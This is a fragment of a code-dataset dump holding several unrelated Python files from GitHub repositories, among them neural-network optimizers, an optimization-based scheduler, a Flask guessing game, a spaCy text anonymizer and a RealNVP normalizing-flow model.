self._w_grads_square_sum.append(np.zeros_like(w))\n            self._b_grad_square_sum.append(np.zeros_like(b))\n\n    def train(self, network: DeepNetwork, X_batch, Y_batch):\n        network._feedforward_train(X_batch)\n        network._backpropagate(Y_batch)\n        self.update_sums_and_weights(network)\n\n    def update_sums_and_weights(self, network: DeepNetwork):\n        for i in range(len(network.weights)):\n            self._w_grads_square_sum[i] += np.square(network._W_grads[i])\n            self._b_grad_square_sum[i] += np.square(network._b_grads[i])\n            network.weights[i] += (self._learning_rate / np.sqrt(self._w_grads_square_sum[i] + self._epsilon)) * network._W_grads[i]\n            network.biases[i] += (self._learning_rate / np.sqrt(self._b_grad_square_sum[i] + self._epsilon)) * network._b_grads[i]\n\n    def name(self):\n        return 'AdaGrad'\n\n\nclass AdaDeltaOptimizer:\n    def __init__(self, gamma, epsilon):\n        self._gamma = gamma\n        self._epsilon = epsilon\n        self._w_grad_square_sum = None\n        self._b_grad_square_sum = None\n        self._w_delta_square_sum = None\n        self._b_delta_square_sum = None\n\n    def initialize(self, network: DeepNetwork):\n        self._w_grad_square_sum = []\n        self._b_grad_square_sum = []\n        self._w_delta_square_sum = []\n        self._b_delta_square_sum = []\n        for (w, b) in zip(network.weights, network.biases):\n            self._w_grad_square_sum.append(np.zeros_like(w))\n            self._b_grad_square_sum.append(np.zeros_like(b))\n            self._w_delta_square_sum.append(np.zeros_like(w))\n            self._b_delta_square_sum.append(np.zeros_like(b))\n\n    def train(self, network: DeepNetwork, X_batch, Y_batch):\n        network._feedforward_train(X_batch)\n        network._backpropagate(Y_batch)\n        self.update_sums_and_weights(network)\n\n    def update_sums_and_weights(self, network: DeepNetwork):\n        for i in range(len(network.weights)):\n            self._w_grad_square_sum[i] = self._gamma * self._w_grad_square_sum[i] + (1 - self._gamma) * np.square(network._W_grads[i])\n            self._b_grad_square_sum[i] = self._gamma * self._b_grad_square_sum[i] + (1 - self._gamma) * np.square(network._b_grads[i])\n\n            delta_w = np.sqrt(self._w_delta_square_sum[i] + self._epsilon) / np.sqrt(self._w_grad_square_sum[i] + self._epsilon) * network._W_grads[i]\n            delta_b = np.sqrt(self._b_delta_square_sum[i] + self._epsilon) / np.sqrt(self._b_grad_square_sum[i] + self._epsilon) * network._b_grads[i]\n\n            network.weights[i] += delta_w\n            network.biases[i] += delta_b\n\n            self._w_delta_square_sum[i] = (self._gamma * self._w_delta_square_sum[i] + (1 - self._gamma) * np.square(delta_w))\n            self._b_grad_square_sum[i] = (self._gamma * self._b_delta_square_sum[i] + (1 - self._gamma) * np.square(delta_b))\n\n    def name(self):\n        return 'AdaDelta'\n\ndef read(name):\n    with open(name, 'rb') as data:\n        datasets = pkl.load(data, encoding='latin1')\n        [X_train, Y_train], [X_val, Y_val], [X_test, Y_test] = datasets\n        X_train = X_train.T\n        Y_train = np.reshape(Y_train, (np.shape(Y_train)[0], 1))\n        X_val = X_val.T\n        Y_val = np.reshape(Y_val, (np.shape(Y_val)[0], 1))\n        X_test = X_test.T\n        Y_test = np.reshape(Y_test, (np.shape(Y_test)[0], 1))\n        return X_train, Y_train, X_val, Y_val, X_test,  Y_test\n\n\ndef load_dataset():\n    K_CLASSES = 10\n    X_train, Y_train, X_val, Y_val, X_test, Y_test = read('mnist.pkl')\n    Y_train_one, Y_val_one, Y_test_one = one_hot(Y_train, K_CLASSES), one_hot(Y_val, K_CLASSES), one_hot(Y_test,\n                                                                                                         K_CLASSES)\n    return X_train, Y_train, Y_train_one, X_val, Y_val, Y_val_one, X_test, Y_test, Y_test_one\n\n\ndef save_list_csv(filename, lst, header=None):\n    with open(filename, 'w') as f:\n        writer = csv.writer(f)\n        if header is not None:\n            writer.writerow(header)\n        writer.writerow(lst)\n\ndef run_optimizer_tests():\n    K_CLASSES = 10\n    LEARNING_RATE = 0.001\n    EPOCHS = 50\n    BATCH_SIZE = 50\n    N_HIDDEN = 50\n\n    adamOptimizer = AdamOptimizer(0.9, 0.999, 10e-8, LEARNING_RATE)\n    sgdOptimizer = SGDOptimizer(LEARNING_RATE)\n    momentumOptimizer = MomentumOptimizer(0.9, LEARNING_RATE)\n    adaGradOptimizer = AdaGradOptimizer(10e-8, LEARNING_RATE)\n    adaDeltaOptimizer = AdaDeltaOptimizer(0.9, 10e-8)\n\n    normalInitializer = NormalInitializer(0, 0.05)\n\n    X_train, Y_train, Y_train_one, X_val, Y_val, Y_val_one, X_test, Y_test, Y_test_one = load_dataset()\n    optimizers = [sgdOptimizer, momentumOptimizer, adaGradOptimizer, adaDeltaOptimizer, adamOptimizer]\n\n    train_losses, val_losses, val_errors = [], [], []\n    for optimizer in optimizers:\n        test = DeepNetwork([np.shape(X_train)[0], N_HIDDEN, K_CLASSES], ActivationFunction(relu, relu_derivative),\n                           ActivationFunction(sigmoid, sigmoid_derivative), normalInitializer)\n        train_loss, val_loss, val_error = test.train(X_train, Y_train, Y_train_one, X_val, Y_val, Y_val_one, EPOCHS,\n                                                     BATCH_SIZE, optimizer)\n        train_losses.append(train_loss)\n        val_losses.append(val_loss)\n        val_errors.append(val_error)\n\n    fig = plt.figure()\n    epochs = np.arange(0, EPOCHS)\n    for i, loss in enumerate(train_losses):\n        plt.plot(epochs, loss, label=optimizers[i].name())\n\n    plt.xlabel('Numer epoki')\n    plt.ylabel('Wartość funkcji kosztu na ciągu treningowym')\n    plt.title('Koszt na ciągu treningowym')\n    plt.legend()\n    plt.show()\n    fig.savefig('opt_train_losses.png', dpi=fig.dpi)\n\n    fig = plt.figure()\n    epochs = np.arange(0, EPOCHS)\n    for i, loss in enumerate(val_losses):\n        plt.plot(epochs, loss, label=optimizers[i].name())\n\n    plt.xlabel('Numer epoki')\n    plt.ylabel('Wartość funkcji kosztu na ciągu walidacyjnym')\n    plt.title('Koszt na ciągu walidacyjnym')\n    plt.legend()\n    plt.show()\n    fig.savefig('opt_val_losses.png', dpi=fig.dpi)\n\n    fig = plt.figure()\n    epochs = np.arange(0, EPOCHS)\n    for i, err in enumerate([[error * 100 for error in errors] for errors in val_errors]):\n        plt.plot(epochs, err, label=optimizers[i].name())\n\n    plt.xlabel('Numer epoki')\n    plt.ylabel('Błąd klasyfikacji[%]')\n    plt.title('Błąd klasyfikacji na ciągu walidacyjnym')\n    plt.legend()\n    plt.show()\n    fig.savefig('opt_val_errors.png', dpi=fig.dpi)\n\ndef run_initializer_tests():\n    K_CLASSES = 10\n    LEARNING_RATE = 0.01\n    EPOCHS = 50\n    BATCH_SIZE = 50\n    N_HIDDEN = 50\n    normalInitializer = NormalInitializer(0, 0.05)\n    xavierInitializer = XavierInitializer()\n    heInitializer = HeInitializer(0, 0.05)\n    initializers = [normalInitializer, xavierInitializer, heInitializer]\n\n    # optimizer = AdamOptimizer(0.9, 0.999, 10e-8, LEARNING_RATE)\n    optimizer = SGDOptimizer(LEARNING_RATE)\n\n    X_train, Y_train, Y_train_one, X_val, Y_val, Y_val_one, X_test, Y_test, Y_test_one = load_dataset()\n    train_losses, val_losses, val_errors = [], [], []\n    for initializer in initializers:\n        test = DeepNetwork([np.shape(X_train)[0], N_HIDDEN, K_CLASSES], ActivationFunction(relu, relu_derivative),\n                           ActivationFunction(sigmoid, sigmoid_derivative), initializer)\n        train_loss, val_loss, val_error = test.train(X_train, Y_train, Y_train_one, X_val, Y_val, Y_val_one, EPOCHS,\n                                                     BATCH_SIZE, optimizer)\n        train_losses.append(train_loss)\n        val_losses.append(val_loss)\n        val_errors.append(val_error)\n\n    fig = plt.figure()\n    epochs = np.arange(0, EPOCHS)\n    for i, loss in enumerate(train_losses):\n        plt.plot(epochs, loss, label=initializers[i].name())\n\n    plt.xlabel('Numer epoki')\n    plt.ylabel('Wartość funkcji kosztu na ciągu treningowym')\n    plt.title('Koszt na ciągu treningowym')\n    plt.legend()\n    plt.show()\n    fig.savefig('init_train_losses.png', dpi=fig.dpi)\n\n    fig = plt.figure()\n    epochs = np.arange(0, EPOCHS)\n    for i, loss in enumerate(val_losses):\n        plt.plot(epochs, loss, label=initializers[i].name())\n\n    plt.xlabel('Numer epoki')\n    plt.ylabel('Wartość funkcji kosztu na ciągu walidacyjnym')\n    plt.title('Koszt na ciągu walidacyjnym')\n    plt.legend()\n    plt.show()\n    fig.savefig('init_val_losses.png', dpi=fig.dpi)\n\n    fig = plt.figure()\n    epochs = np.arange(0, EPOCHS)\n    for i, err in enumerate([[error * 100 for error in errors] for errors in val_errors]):\n        plt.plot(epochs, err, label=initializers[i].name())\n\n    plt.xlabel('Numer epoki')\n    plt.ylabel('Błąd klasyfikacji[%]')\n    plt.title('Błąd klasyfikacji na ciągu walidacyjnym')\n    plt.legend()\n    plt.show()\n    fig.savefig('init_val_errors.png', dpi=fig.dpi)\n\nif __name__ == '__main__':\n    K_CLASSES = 10\n    LEARNING_RATE = 0.001\n    EPOCHS = 50\n    BATCH_SIZE = 50\n    N_HIDDEN = 400\n    initializer = XavierInitializer()\n    optimizer = AdamOptimizer(0.9, 0.999, 10e-8, LEARNING_RATE)\n    X_train, Y_train, Y_train_one, X_val, Y_val, Y_val_one, X_test, Y_test, Y_test_one = load_dataset()\n    test = DeepNetwork([np.shape(X_train)[0], N_HIDDEN, K_CLASSES], ActivationFunction(relu, relu_derivative),\n                       ActivationFunction(sigmoid, sigmoid_derivative), initializer)\n    train_loss, val_loss, val_error = test.train(X_train, Y_train, Y_train_one, X_val, Y_val, Y_val_one, EPOCHS,\n                                                 BATCH_SIZE, optimizer)","repo_name":"simonusher/neural-network-optimizers","sub_path":"network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":19264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21714433300","text":"v = int(input('Informe a velocidade atual do veículo: '))\nmulta = (v - 80) * 7\n\nif v < 30:\n    print('Você está dirigindo devagar, acelere um pouco mais')\n    \nelif v < 80:\n    print('Velocidade ok, tenha um bom dia')\n    \nelif v == 80:\n    print('Você está no limite de velocidade da via, tome cuidado!')\n    \nelse: \n    \n    print('Você deverá pagar uma multa equivalente a R${:.2f}'.format(multa))","repo_name":"fabiosoaresdev/ExerciciosPython","sub_path":"Exercício029.py","file_name":"Exercício029.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"pt","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"72901244489","text":"import numpy as np\r\nimport random\r\n\r\ndef readFile(filename):\r\n    with open(filename, \"r\") as file:\r\n        n = int(file.readline())\r\n        C = np.zeros((n, n, n-1))\r\n        data = [list(map(float, line.split())) for line in file]\r\n        for i, j, r, cost in data:\r\n            C[int(i), int(j), int(r)] = cost\r\n        # C = sorted(C, key=lambda x: x[2])\r\n        return n, C \r\n\r\ndef calculateCost(rounds_range, C, schedule):\r\n    cost = 0\r\n    for r in rounds_range:\r\n        for i in range(int(n/2)):\r\n            # Soma no custo final o valor do\r\n            cost += C[schedule[r][i][0]][schedule[r][i][1]][r]\r\n\r\n    return cost\r\n\r\ndef greedyAlgorithm(n, C):\r\n    print('Iremos tentar rodar nosso algoritmo guloso...')\r\n    schedule = []\r\n    total_cost = []\r\n    for r in range(n-1):\r\n        game_cost = []\r\n        matches_in_round = set()\r\n        for i in range(n):\r\n            for j in range(i+1, n):\r\n                # Se os dois times não se enfrentaram anteriormente, coloca esse jogo como possível de acontecer\r\n                if ([i,j] not in schedule):\r\n                    game_cost.append((i, j, C[i][j][r]))\r\n        # Sort por custo da partida (crescente)\r\n        game_cost.sort(key=lambda x:x[2])\r\n        while True:\r\n            i, j, _ = game_cost.pop(0)\r\n            # Se algum dos times i e j já jogaram nessa rodada, pula iteração\r\n            if i in matches_in_round or j in matches_in_round:\r\n                if(len(game_cost) == 0):\r\n                    break\r\n                continue\r\n            # Senão\r\n            else:\r\n                matches_in_round.add(i)\r\n                matches_in_round.add(j)\r\n                schedule.append([i,j])\r\n                total_cost.append(i)\r\n                if(len(game_cost) == 0):\r\n                    break\r\n        # Se o número de partidas realizadas na rodada não bater, throw exception\r\n        if(len(matches_in_round) < n):\r\n            raise  ValueError(\"O algoritmo guloso não conseguiu completar a chamada\")\r\n        print(f'Rodada {r} jogarão {schedule}')\r\n        \r\n    return total_cost, schedule\r\n\r\n# Construir função que gera entrada válida p/ problema\r\ndef fallbackAlgorithm(n, C):\r\n    teams = [i for i in range(0, n)]\r\n    random.shuffle(teams)\r\n    schedule = []\r\n\r\n    if n % 2 != 0:\r\n        teams.append(None)\r\n        n += 1\r\n\r\n    rounds = n - 1\r\n\r\n    for _ in range(rounds):\r\n        round_matches = []\r\n        for i in range(n // 2):\r\n            if teams[i] is not None and teams[n - i - 1] is not None:\r\n                round_matches.append((teams[i], teams[n - i - 1]))\r\n        schedule.append(round_matches)\r\n        teams.insert(1, teams.pop())\r\n\r\n    cost = calculateCost(range(n-1), C, schedule)\r\n    for i in range(n-1):\r\n        print(f'Rodada {i} jogarão {schedule[i]}')\r\n    print(f'Custo total inicial: {cost}')\r\n    return [cost, schedule]\r\n\r\ndef getNeighbour(cost, schedule, n, C):\r\n    rounds_exchanged = random.sample(range(n-1), 2)\r\n    neighbour_schedule = schedule[:]\r\n    neighbour_schedule[rounds_exchanged[0]], neighbour_schedule[rounds_exchanged[1]] = schedule[rounds_exchanged[1]], schedule[rounds_exchanged[0]]\r\n    initial_round_cost = calculateCost(rounds_exchanged, C, schedule)\r\n    neighbour_round_cost = calculateCost(rounds_exchanged, C, neighbour_schedule)\r\n    cost = cost - initial_round_cost + neighbour_round_cost\r\n    return [cost, neighbour_schedule]\r\n\r\ndef lateAcceptanceHillClimbing(list_size, n, C):\r\n    max_iter = 1000000\r\n    i = 0\r\n    cond_parada = 0\r\n    try:\r\n        [total_cost, schedule] = (greedyAlgorithm(n, C))\r\n    except ValueError:\r\n        print(\"Exceção capturada. Tentando algoritmo alternativo...\")\r\n        [total_cost, schedule] = fallbackAlgorithm(n,C)\r\n    sol_atual = total_cost\r\n    best_solution = sol_atual\r\n    f = list_size * [sol_atual]\r\n    while(i < max_iter and cond_parada < 0.1 * max_iter):\r\n        [cost_v, schedule_v] = getNeighbour(sol_atual, schedule, n, C)\r\n        vizinho = cost_v\r\n        # Se a solução atual não for atualizada depois de muito tempo, iremos encerrar o laço\r\n        if(vizinho >= sol_atual):\r\n            cond_parada += 1\r\n        else: \r\n            cond_parada = 0\r\n        if((vizinho < f[-1]) or (vizinho <= sol_atual)):\r\n            sol_atual = vizinho\r\n            schedule = schedule_v[:]\r\n        if(sol_atual < f[-1]):\r\n            f.pop()\r\n            f.insert(0, sol_atual)\r\n        if(sol_atual < best_solution):\r\n            best_solution = sol_atual\r\n        i = i + 1\r\n    return best_solution\r\n\r\nfilename = input('Digite o nome do arquivo: ')\r\nn, C = readFile(f'instancias-problema2/{filename}')\r\n\r\nsol = lateAcceptanceHillClimbing(100, n, C)\r\nprint(f'Solução final encontrada: {sol}')","repo_name":"LuccaKroeff/Late-Acceptance-Hill-Climbing","sub_path":"late-acceptance-hill-climbing/LAHC/lahc-algorithm.py","file_name":"lahc-algorithm.py","file_ext":"py","file_size_in_byte":4744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"30157544368","text":"#!/usr/bin/env python\n\n\"\"\"Unit tests for the spinsFromAtoms and atomsFromSpins functions.\n\"\"\"\n\n\nimport unittest\nimport diffpy.mpdf\nimport numpy as np\n\n##############################################################################\nclass spinsAtomsTest(unittest.TestCase):\n    def testSpinsFromAtoms(self):\n        atoms=np.array([[0,0,0],[1,0,0],[2,0,0]])\n        spins=np.array([[0,0,1],[0,0,-1],[0,0,1]])\n        mstr=diffpy.mpdf.MagStructure()\n        mstr.atoms=atoms\n        mstr.spins=spins\n        testval=diffpy.mpdf.magutils.spinsFromAtoms(mstr,[1,0,0],fractional=False)[0][2]\n        self.assertEqual(testval,-1)\n\n    def testAtomsFromSpins(self):\n        atoms=np.array([[0,0,0],[1,0,0],[2,0,0]])\n        spins=np.array([[0,0,1],[0,0,-1],[0,0,1]])\n        mstr=diffpy.mpdf.MagStructure()\n        mstr.atoms=atoms\n        mstr.spins=spins\n        testval=diffpy.mpdf.magutils.atomsFromSpins(mstr,[0,0,-1],fractional=False)[0][0][0]\n        self.assertEqual(testval,1)\n\n# End of class spinsAtomsTest\n\nif __name__ == '__main__':\n    unittest.main()\n\n# End of file\n","repo_name":"FrandsenGroup/diffpy.mpdf","sub_path":"diffpy/mpdf/tests/testspinsatoms.py","file_name":"testspinsatoms.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"11166020538","text":"\"\"\"Added table data for the prediction stuff\n\nRevision ID: 21f77e60814\nRevises: 465365d933e\nCreate Date: 2015-12-30 16:33:40.491732\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '21f77e60814'\ndown_revision = '465365d933e'\nbranch_labels = None\ndepends_on = None\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n    ### commands auto generated by Alembic - please adjust! ###\n    op.create_table('tb_prediction_run',\n    sa.Column('id', sa.Integer(), nullable=False),\n    sa.Column('winner_id', sa.Integer(), nullable=True),\n    sa.Column('started', sa.DateTime(), nullable=False),\n    sa.Column('ended', sa.DateTime(), nullable=True),\n    sa.Column('open', sa.Boolean(), server_default=sa.text('true'), nullable=False),\n    sa.PrimaryKeyConstraint('id')\n    )\n    op.create_table('tb_prediction_run_entry',\n    sa.Column('id', sa.Integer(), nullable=False),\n    sa.Column('prediction_run_id', sa.Integer(), nullable=False),\n    sa.Column('user_id', sa.Integer(), nullable=False),\n    sa.Column('prediction', sa.Integer(), nullable=False),\n    sa.ForeignKeyConstraint(['prediction_run_id'], ['tb_prediction_run.id'], ),\n    sa.PrimaryKeyConstraint('id')\n    )\n    ### end Alembic commands ###\n\n\ndef downgrade():\n    ### commands auto generated by Alembic - please adjust! ###\n    op.drop_table('tb_prediction_run_entry')\n    op.drop_table('tb_prediction_run')\n    ### end Alembic commands ###\n","repo_name":"leecopland/bullbot","sub_path":"alembic/versions/21f77e60814_added_table_data_for_the_prediction_.py","file_name":"21f77e60814_added_table_data_for_the_prediction_.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"35399283650","text":"from flask_wtf import FlaskForm\nimport random\nfrom wtforms import IntegerField, SubmitField\nfrom wtforms.validators import DataRequired\n\n\nclass GameLogic(object):\n    ALLOWED_ATTEMPTS = 7  # initialize with seven attempts\n    def __init__(self, attempts: int = 7, range: int = 100) -> object:\n        if attempts < self.ALLOWED_ATTEMPTS:\n            self.attempts = attempts\n            self.ALLOWED_ATTEMPTS = attempts\n        else:\n            self.attempts = self.ALLOWED_ATTEMPTS\n        self.secret_number = random.randrange(0, range)\n\n    def reset_game(self, range):\n        self.attempts = self.ALLOWED_ATTEMPTS\n        self.secret_number = random.randrange(0, range)\n\n    def verify_against_secret_number(self,number):\n        guessed_number = int(number)\n        self.attempts -=1\n        if not guessed_number is self.secret_number:\n            if guessed_number > self.secret_number:\n                message = f'Wrong! Try going lower. Total attempts left: {self.attempts}!!'\n            elif guessed_number < self.secret_number:\n                message = f'Wrong! Try going higher. Total attempts left: {self.attempts}!!'\n            if self.attempts == 0:\n                message = f\"Hard Luck! You are out of attempts. The secret number was {self.secret_number} \" \\\n                          f\" Starting a new Game...\"\n                self.reset_game(100)\n            return message\n        else:\n            message = f\"Great Job! You guessed the no. in  {self.ALLOWED_ATTEMPTS - self.attempts} attempts!! \" \\\n                      f\"  Starting a new Game..\"\n            self.reset_game(100)\n        return message\n\nclass GamePanel(FlaskForm):\n    number = IntegerField(\" Enter Number: \", validators=[DataRequired()])\n    submit = SubmitField(\"Verify!\")\n    logic = GameLogic()\n","repo_name":"meghan14/simple_flask_project","sub_path":"app/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7881640825","text":"from sistemaAcademico.Apps.GestionAcademica.Diccionario.Estructuras_tablas_conf import *\r\n\r\n\r\ndef acciones(request):\r\n    Agregar = []\r\n    Editar = []\r\n    Eliminar = []\r\n    Imprimir = []\r\n    permiso = ConfMenu.objects.filter(fk_permiso_modmenu__id_rol__fk_rol__id_usuario=request.session.get('usuario'), id_genr_estado=97).values('descripcion')\r\n    a = ConfAccion.objects.filter(id_rol_id__fk_permiso_rol__id_rol__fk_rol__id_usuario=request.session.get('usuario'))\r\n    for accion in a:\r\n            if accion.descripcion == 'Agregar':\r\n                for m in accion.id_menu.all():\r\n                    Agregar.append(m)\r\n\r\n            if accion.descripcion == 'Editar':\r\n                for m in accion.id_menu.all().values('id_menu','descripcion','url'):\r\n                    Editar.append(m)\r\n\r\n            if accion.descripcion == 'Eliminar':\r\n                for m in accion.id_menu.all().values('id_menu','descripcion','url'):\r\n                    Eliminar.append(m)\r\n\r\n            if accion.descripcion == 'Imprimir':\r\n                for m in accion.id_menu.all().values('id_menu','descripcion','url'):\r\n                    Imprimir.append(m)\r\n\r\n    return {'permisos':permiso,'agregar':Agregar,'editar':Editar,'eliminar':Eliminar,'imprimir':Imprimir}\r\n\r\n\r\n\r\n\r\n","repo_name":"rtigrero1983/AmbienteDesarrolloPython","sub_path":"sistemaAcademico/Apps/GestionAcademica/context_processors.py","file_name":"context_processors.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"73213620809","text":"import SimpSOM as sps\nimport gensim\nimport numpy as np\nimport pandas as pd\nfrom nltk.tokenize import RegexpTokenizer\nimport matplotlib.pyplot as plt\n\nimport tweet_cleaner\n\n# This is the vector of documents / tweets\ndocument_vector_list = []\n\n#load the model back\nmodel = gensim.models.Word2Vec.load(\"w2v.model\")\n\ndata_pd = pd.read_csv('tweets.csv', sep=',', skipinitialspace=True,)\n\ndata_set = pd.DataFrame(data_pd)\ncol = data_pd['tweet_text']\n\n# prepare an empty list\ntweet_list = list()\n\ntweets = data_set['tweet_text'].values.tolist()\n\nfor tweet in tweets[0:40000]:\n    words = tweet_cleaner.clean_tweet(tweet)\n\n    count = 0\n    tweet_vector = []\n    for w in words:\n        if w in model:\n            if count == 0:\n                tweet_vector = model[w]\n            else:\n                tweet_vector = tweet_vector + model[w]\n            count = count + 1\n\n    if len(tweet_vector) > 0:\n        document_vector_list.append(tweet_vector)\n\ndocument_vector_array = np.array(document_vector_list)\n\n# Build a network 20x20 with a weights format taken from the raw_data and activate Periodic Boundary Conditions.\nnet = sps.somNet(30, 30, document_vector_array, PBC=True)\n\n# Train the network for 10000 epochs and with initial learning rate of 0.01.\nnet.train(0.01, 1000)\n\n# Save the weights to file\nnet.save('state_files/som_weights')","repo_name":"antoinesamaha/data_science_exercises","sub_path":"projetfinal/_3_som.py","file_name":"_3_som.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42740110824","text":"import sys\r\n\r\n\r\ndef inp():\r\n    return sys.stdin.read()[:-1]\r\n\r\n\r\ndef main(s):\r\n    i = 0\r\n    res = []\r\n    while i < len(s):\r\n        res.append(s[i])\r\n        if s[i] in ['a','e','i','o','u']:\r\n            i += 2\r\n        i += 1\r\n    return ''.join(res)\r\n\r\ns = inp()\r\nprint(main(s))\r\n\r\n","repo_name":"Fenmaz/programming-practicum","sub_path":"kemija/kemija.py","file_name":"kemija.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"15328521154","text":"import spacy\nimport pickle\nimport re\n\nclass Anonymize:\n    def __init__(self, tags_to_anon, custom_tags_to_anon=None):\n        self.tags_to_anon = tags_to_anon\n        self.custom_tags_to_anon = custom_tags_to_anon\n        self.mapping = {}\n        \n        self.nlp = spacy.load('en')\n        \n        self.nlp = spacy.load('en')\n\n        punctuation = '!\"#$%&\\'*+,.:;<=>?[\\\\]^_`{|}~'\n        rp = re.compile(re.escape(punctuation))\n        ri = re.compile(r'[\\s{}]+'.format(re.escape(punctuation)))\n\n        def custom_tokenizer(nlp):\n            return spacy.tokenizer.Tokenizer(nlp.vocab, infix_finditer=ri.finditer, suffix_search=rp.search, prefix_search=rp.search)\n\n        self.nlp.tokenizer = custom_tokenizer(self.nlp)\n    \n    def tokenize(self, string):\n        return [token.text for token in self.nlp(string)]\n    \n    def get_anon_string(self, string):\n        anon_tokens = []\n        doc = self.nlp(string)\n        \n        for i, token in enumerate(doc):\n            key = token.text\n            \n            custom_tag, custom_bio = self.get_custom_tag(token.text, self.custom_tags_to_anon)\n            \n            if token.ent_type_ in self.tags_to_anon or custom_tag is not None:\n                if key not in self.mapping:\n                    # give priority to custom tag\n                    tag = custom_tag if custom_tag is not None else token.ent_type_\n                    bio = custom_bio if custom_tag is not None else token.ent_iob_\n                    value = \"{0}-{1}-{2}\".format(tag, bio, str(len(self.mapping)))\n                    self.mapping[key] = value\n                else:\n                    value = self.mapping[key]\n                    \n                anon_tokens.append(value)\n            else:\n                anon_tokens.append(key)\n        return ' '.join(anon_tokens)\n    \n    def get_custom_tag(self, token, tags):\n        # COURSE\n        \n        for tag in set(tags):\n            if tag == 'COURSE':\n                cont_alpha = 0\n                cont_digit = 0\n                for char in token:\n                    if char.isupper():\n                        cont_alpha += 1\n                    else:\n                        break\n                for char in token[::-1]:\n                    if char.isdigit():\n                        cont_digit += 1\n                    else:\n                        break\n                if cont_alpha and cont_digit and cont_alpha + cont_digit == len(token):\n                    return tag, 'B'\n            \n            if tag == 'CONTACT':\n                #print(\"HERE\", tag, tags)\n                regex = '(([\\)]??[\\+](\\d\\d?)[-\\.\\)]??)??[\\(]??\\d{3}[\\)]??[-\\.]??([\\(]??\\d{3}[\\)]??[-\\.]??)?[\\(]??\\d{4}[\\)]?)'\n                pattern = re.compile(regex)\n                obj = pattern.search(token)\n                if obj is not None:\n                    \n                    span = obj.span()\n                    if span[0] == 0 and span[1] == len(token):\n                        return tag, 'B'\n            \n            if tag == 'EMAIL':\n                regex = '([a-zA-Z.\\-0-9]?)+\\@[a-zA-Z.\\-0-9]*'\n                pattern = re.compile(regex)\n                obj = pattern.search(token)\n                if obj is not None:\n                    span = obj.span()\n                    if span[0] == 0 and span[1] == len(token):\n                        return tag, 'B'\n                    \n        return None, None\n                \n\n\n    def save_mapping(self, filepath):\n         pickle.dump(self.mapping, open( filepath, \"wb\" ))\n            \n    def load_mapping(self, filepath=None):\n        if filepath is not None:\n            self.mapping = pickle.load(open( filepath, \"rb\" ))\n        return self.mapping","repo_name":"mgupta1410/anonymize","sub_path":"anonymize.py","file_name":"anonymize.py","file_ext":"py","file_size_in_byte":3698,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"35102789350","text":"from typing import Optional\n\nfrom torch import nn, distributions, Tensor\nimport torch\nimport numpy as np\nimport mlflow\n\n\nclass RealNVP(nn.Module):\n    \"\"\"\n    Adapted from https://github.com/senya-ashukha/real-nvp-pytorch\n    \"\"\"\n    def __init__(self, nets, nett, masks, prior):\n        super(RealNVP, self).__init__()\n        self.prior = prior\n        self.mask = nn.Parameter(masks, requires_grad=False)\n        self.t = nn.ModuleList([nett() for _ in range(len(masks))])\n        self.s = nn.ModuleList([nets() for _ in range(len(masks))])\n        self.mean_log_det_J = 0\n        self.mean_log_prob = 0\n        self.limit = 10\n        self.count = 0\n\n    def g(self, z: Tensor, h: Optional[Tensor] = None):\n        x = z\n\n        for i in range(len(self.t)):\n            x_ = x * self.mask[i]\n            if h != None:\n                xh = torch.cat([x_, h], dim=1)\n            else:\n                xh = x_\n            s = self.s[i](xh) * (1 - self.mask[i])\n            t = self.t[i](xh) * (1 - self.mask[i])\n            x = x_ + (1 - self.mask[i]) * (x * torch.exp(s) + t)\n        return x\n\n    def f(self, x: Tensor, h: Optional[Tensor] = None):\n        log_det_J, z = x.new_zeros(x.shape[0]), x\n        for i in reversed(range(len(self.t))):\n            z_ = self.mask[i] * z\n            if h != None:\n                zh = torch.cat([z_, h], dim=1)\n            else:\n                zh = z_\n            s = self.s[i](zh) * (1 - self.mask[i])\n            t = self.t[i](zh) * (1 - self.mask[i])\n            z = (1 - self.mask[i]) * (z - t) * torch.exp(-s) + z_\n            log_det_J -= s.sum(dim=1)\n        return z, log_det_J\n\n    def log_prob(self, x: Tensor, h: Optional[Tensor] = None):\n        z, logp = self.f(x, h)\n        self.mean_log_det_J += float(logp.mean())\n        self.count += 1\n\n        log_prob = self.prior.log_prob(z)\n        self.mean_log_prob += float(log_prob.mean())\n\n        if (self.count % self.limit) == 0:\n            mlflow.log_metric('mean_log_det_J', self.mean_log_det_J / self.limit, self.count)\n            mlflow.log_metric('mean_log_prob', self.mean_log_prob / self.limit, self.count)\n            self.mean_log_det_J = 0\n            self.mean_log_prob = 0\n        return log_prob + logp\n\n    def sample(self, batch_size: int, h: Optional[Tensor] = None):\n        z = self.prior.sample([batch_size])\n        logp = self.prior.log_prob(z)\n        if h != None:\n            x = self.g(z, h)\n        else:\n            x = self.g(z)\n        return x\n\n\ndef get_realnvp(x_dim: int = 512, condition_dim: int = 512, depth: int = 5, hidden_dim: Optional[int] = None):\n    joined_dim = x_dim + condition_dim\n    half_dim = int(x_dim / 2)\n    if hidden_dim == None:\n        hidden_dim = joined_dim\n\n    nets = lambda: nn.Sequential(nn.Linear(joined_dim, hidden_dim), nn.LeakyReLU(), nn.Linear(hidden_dim, hidden_dim), 